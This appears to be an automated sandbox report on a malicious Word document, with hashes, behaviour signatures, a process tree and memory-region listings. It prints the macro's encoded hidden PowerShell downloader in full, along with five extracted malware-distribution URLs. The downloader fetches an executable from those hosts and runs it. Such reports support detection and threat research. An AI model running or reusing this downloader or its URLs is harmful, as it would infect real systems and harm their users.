Analysis

  • max time kernel
    121s
  • max time network
    121s
  • platform
    windows7_x64
  • resource
    win7-20231129-en
  • resource tags

    arch:x64arch:x86image:win7-20231129-enlocale:en-usos:windows7-x64system
  • submitted
    21-05-2024 14:56

General

  • Target

    63b3546312f1c5787d212c93b31ad7bb_JaffaCakes118.doc

  • Size

    205KB

  • MD5

    63b3546312f1c5787d212c93b31ad7bb

  • SHA1

    4bf249afca97082ddd8b4cab74b1e49eec4cb19c

  • SHA256

    24a9f06db2b35bdcbef2271a9c325574dc757a54e56a8864ef7d20acd246a761

  • SHA512

    c1daaf4d969c22983ee6d5f5877c192a7b22edc8f2267d208f00bd4da33e579fc1b6b4048f1a695b96912582c3d62f6e8d16f92c23ec5df31871f0c510afd632

  • SSDEEP

    3072:Fd2y/Gdy/ktGDWLS0HZWD5w8K7Nk9uD7IBUNfgpszLC4TIdAuvV/uVxq:Fd2k4ntGiL3HJk9uD7bNopsi4Y92G

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

http://mensro.com/wp-admin/o2jnxha/

exe.dropper

http://meert.org/cgi-bin/DrjIA/

exe.dropper

http://mcdogsmedia.co.uk/cgi-bin/1qy65l/

exe.dropper

http://milleniumwheels.com/oud/5icr4l/

exe.dropper

http://multitable.com/cgi-bin/vyj89/

Signatures

  • Process spawned unexpected child process 3 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 3 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Drops file in System32 directory 1 IoCs
  • Drops file in Windows directory 1 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Modifies Internet Explorer settings 1 TTPs 31 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of SetWindowsHookEx 4 IoCs
  • Suspicious use of WriteProcessMemory 12 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\63b3546312f1c5787d212c93b31ad7bb_JaffaCakes118.doc"
    1⤵
    • Drops file in Windows directory
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:2168
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:2912
      • C:\Windows\SYSTEM32\WISPTIS.EXE
        "C:\Windows\SYSTEM32\WISPTIS.EXE" /ManualLaunch;
        2⤵
        • Process spawned unexpected child process
        • Suspicious use of SetWindowsHookEx
        PID:2580
      • C:\Windows\SYSTEM32\WISPTIS.EXE
        "C:\Windows\SYSTEM32\WISPTIS.EXE" /ManualLaunch;
        2⤵
        • Process spawned unexpected child process
        • Suspicious use of SetWindowsHookEx
        PID:2628
    • C:\Windows\System32\WindowsPowerShell\v1.0\Powershell.exe
      Powershell -w hidden -en JABSAGUAZwBpAGsAZQBhAGUAPQAnAFQAawBuAHMAbAB6AGMAZgAnADsAJABaAHUAawBnAG8AZgB4AHcAdwAgAD0AIAAnADUAOQA0ACcAOwAkAFEAbwBzAHgAbgB6AGcAcgBjAG0AdAA9ACcAQQBkAGkAbABjAHMAcwBtACcAOwAkAEEAaQBwAHYAYgBzAGkAbwB1AG4AdwB0AHIAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAJwBcACcAKwAkAFoAdQBrAGcAbwBmAHgAdwB3ACsAJwAuAGUAeABlACcAOwAkAEYAawB3AG8AZABmAHYAcgA9ACcASgBiAHEAbgBsAHcAZgB1AG4AbwAnADsAJABaAHEAaAB0AHUAbwBqAHcAPQAmACgAJwBuAGUAdwAtAG8AYgBqAGUAJwArACcAYwAnACsAJwB0ACcAKQAgAG4ARQB0AC4AdwBlAEIAQwBMAGkAZQBOAFQAOwAkAFkAeQB6AGkAawB2AGEAcgBtAGoAZgBwAGsAPQAnAGgAdAB0AHAAOgAvAC8AbQBlAG4AcwByAG8ALgBjAG8AbQAvAHcAcAAtAGEAZABtAGkAbgAvAG8AMgBqAG4AeABoAGEALwAqAGgAdAB0AHAAOgAvAC8AbQBlAGUAcgB0AC4AbwByAGcALwBjAGcAaQAtAGIAaQBuAC8ARAByAGoASQBBAC8AKgBoAHQAdABwADoALwAvAG0AYwBkAG8AZwBzAG0AZQBkAGkAYQAuAGMAbwAuAHUAawAvAGMAZwBpAC0AYgBpAG4ALwAxAHEAeQA2ADUAbAAvACoAaAB0AHQAcAA6AC8ALwBtAGkAbABsAGUAbgBpAHUAbQB3AGgAZQBlAGwAcwAuAGMAbwBtAC8AbwB1AGQALwA1AGkAYwByADQAbAAvACoAaAB0AHQAcAA6AC8ALwBtAHUAbAB0AGkAdABhAGIAbABlAC4AYwBvAG0ALwBjAGcAaQAtAGIAaQBuAC8AdgB5AGoAOAA5AC8AJwAuACIAcwBQAGwAYABpAHQAIgAoACcAKgAnACkAOwAkAFYAbQByAGgAcgBxAGMAdwA9ACcAUQBtAG4AbgByAGwAZABsACcAOwBmAG8AcgBlAGEAYwBoACgAJABXAHMAbQBxAGgAZwB0AHIAcgB5AGYAIABpAG4AIAAkAFkAeQB6AGkAawB2AGEAcgBtAGoAZgBwAGsAKQB7AHQAcgB5AHsAJABaAHEAaAB0AHUAbwBqAHcALgAiAGQAYABvAFcATgBsAE8AQQBgAEQAYABGAEkATABFACIAKAAkAFcAcwBtAHEAaABnAHQAcgByAHkAZgAsACAAJABBAGkAcAB2AGIAcwBpAG8AdQBuAHcAdAByACkAOwAkAEwAZgByAHoAbgB1AGEAZwBuAHkAegBsAD0AJwBPAGsAdwB2AG4AZQBvAGsAZgAnADsASQBmACAAKAAoACYAKAAnAEcAJwArACcAZQB0AC0ASQB0ACcAKwAnAGUAbQAnACkAIAAkAEEAaQBwAHYAYgBzAGkAbwB1AG4AdwB0AHIAKQAuACIATABlAGAATgBHAHQASAAiACAALQBnAGUAIAAyADQANgAyADkAKQAgAHsAWwBEAGkAYQBnAG4AbwBzAHQAaQBjAHMALgBQAHIAbwBjAGUAcwBzAF0AOgA6ACIAUwB0AGAAQQByAHQAIgAoACQAQQBpAHAAdgBiAHMAaQBvAHUAbgB3AHQAcgApADsAJABBAHkAZgB0AHIAYgBnAHgAPQAnAFUAcgB0AHgAcAB2AGoAZwBkAGYAYwAnADsAYgByAGUAYQBrADsAJABHAG8AaAB5AGQAZgBiAGEAbABvAGsAdABjAD0AJwBHAHkAZQBtAHAAeABwAGUAYgBwAG8AcwAnAH0AfQBjAGEAdABjAGgAewB9AH0AJABDAGYAYQByAHoAeQBmAGoAYwBkAHIAbwBxAD0AJwBKAGQAbgB1AHEAegBmAGEAJwA=
      1⤵
      • Process spawned unexpected child process
      • Blocklisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Drops file in System32 directory
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:3036

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

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    Downloads

    • C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\C5A1A03E.wmf

      Filesize

      444B

      MD5

      657ba930fbed4c7c85e891bfb2b530ce

      SHA1

      e260b8b5287c2ca09128bbf59306e6c0df12a3ed

      SHA256

      a06f0c0ee63446e05d255c9060e601d826de8b96d099710672262e5584f333cd

      SHA512

      459b31184a88141dcae5cf61b1f08b6e0e126abd39f1d56365fe96f54176e5b15854806744ff4c8f5db100ed95b5ce813db24b78ada65bcd441d8a59bdeea61c

    • C:\Users\Admin\AppData\Roaming\Microsoft\Templates\Normal.dotm

      Filesize

      20KB

      MD5

      625a4471b37a7c448debd000629f0701

      SHA1

      f10a9e9598a471653787826c07b116a7198528b4

      SHA256

      496de693faf1cb5c5e44a9feba16b090a712b7f23d7b2ef248149362a940bce3

      SHA512

      c4e1704ae381f0dbbfd50204d6a8681fa6d9603292d9a1ac2de1d96ef0274602abb5fb088f4c78ce27ef44f4c645ec5abe5c2f2e25fe18aba2ac1a70d43371e4

    • memory/2168-27-0x0000000006980000-0x0000000006A80000-memory.dmp

      Filesize

      1024KB

    • memory/2168-47-0x000000007126D000-0x0000000071278000-memory.dmp

      Filesize

      44KB

    • memory/2168-0-0x000000002F611000-0x000000002F612000-memory.dmp

      Filesize

      4KB

    • memory/2168-17-0x0000000000580000-0x0000000000680000-memory.dmp

      Filesize

      1024KB

    • memory/2168-16-0x0000000000580000-0x0000000000680000-memory.dmp

      Filesize

      1024KB

    • memory/2168-15-0x0000000000580000-0x0000000000680000-memory.dmp

      Filesize

      1024KB

    • memory/2168-18-0x0000000006870000-0x0000000006871000-memory.dmp

      Filesize

      4KB

    • memory/2168-23-0x0000000006980000-0x0000000006A80000-memory.dmp

      Filesize

      1024KB

    • memory/2168-22-0x0000000000580000-0x0000000000680000-memory.dmp

      Filesize

      1024KB

    • memory/2168-24-0x0000000006980000-0x0000000006A80000-memory.dmp

      Filesize

      1024KB

    • memory/2168-21-0x0000000000580000-0x0000000000680000-memory.dmp

      Filesize

      1024KB

    • memory/2168-25-0x0000000006980000-0x0000000006A80000-memory.dmp

      Filesize

      1024KB

    • memory/2168-2-0x000000007126D000-0x0000000071278000-memory.dmp

      Filesize

      44KB

    • memory/2168-74-0x000000007126D000-0x0000000071278000-memory.dmp

      Filesize

      44KB

    • memory/2168-49-0x0000000006870000-0x0000000006871000-memory.dmp

      Filesize

      4KB

    • memory/2168-30-0x0000000000580000-0x0000000000680000-memory.dmp

      Filesize

      1024KB

    • memory/2168-31-0x0000000006980000-0x0000000006A80000-memory.dmp

      Filesize

      1024KB

    • memory/2168-69-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/2168-1-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/2168-8-0x0000000006880000-0x0000000006980000-memory.dmp

      Filesize

      1024KB

    • memory/2168-48-0x0000000000580000-0x0000000000680000-memory.dmp

      Filesize

      1024KB

    • memory/2168-28-0x0000000006980000-0x0000000006A80000-memory.dmp

      Filesize

      1024KB

    • memory/2168-50-0x0000000006980000-0x0000000006A80000-memory.dmp

      Filesize

      1024KB

    • memory/2168-51-0x0000000000580000-0x0000000000680000-memory.dmp

      Filesize

      1024KB

    • memory/2580-19-0x00000000003C0000-0x00000000003C1000-memory.dmp

      Filesize

      4KB

    • memory/3036-38-0x0000000002790000-0x0000000002798000-memory.dmp

      Filesize

      32KB

    • memory/3036-37-0x000000001B6C0000-0x000000001B9A2000-memory.dmp

      Filesize

      2.9MB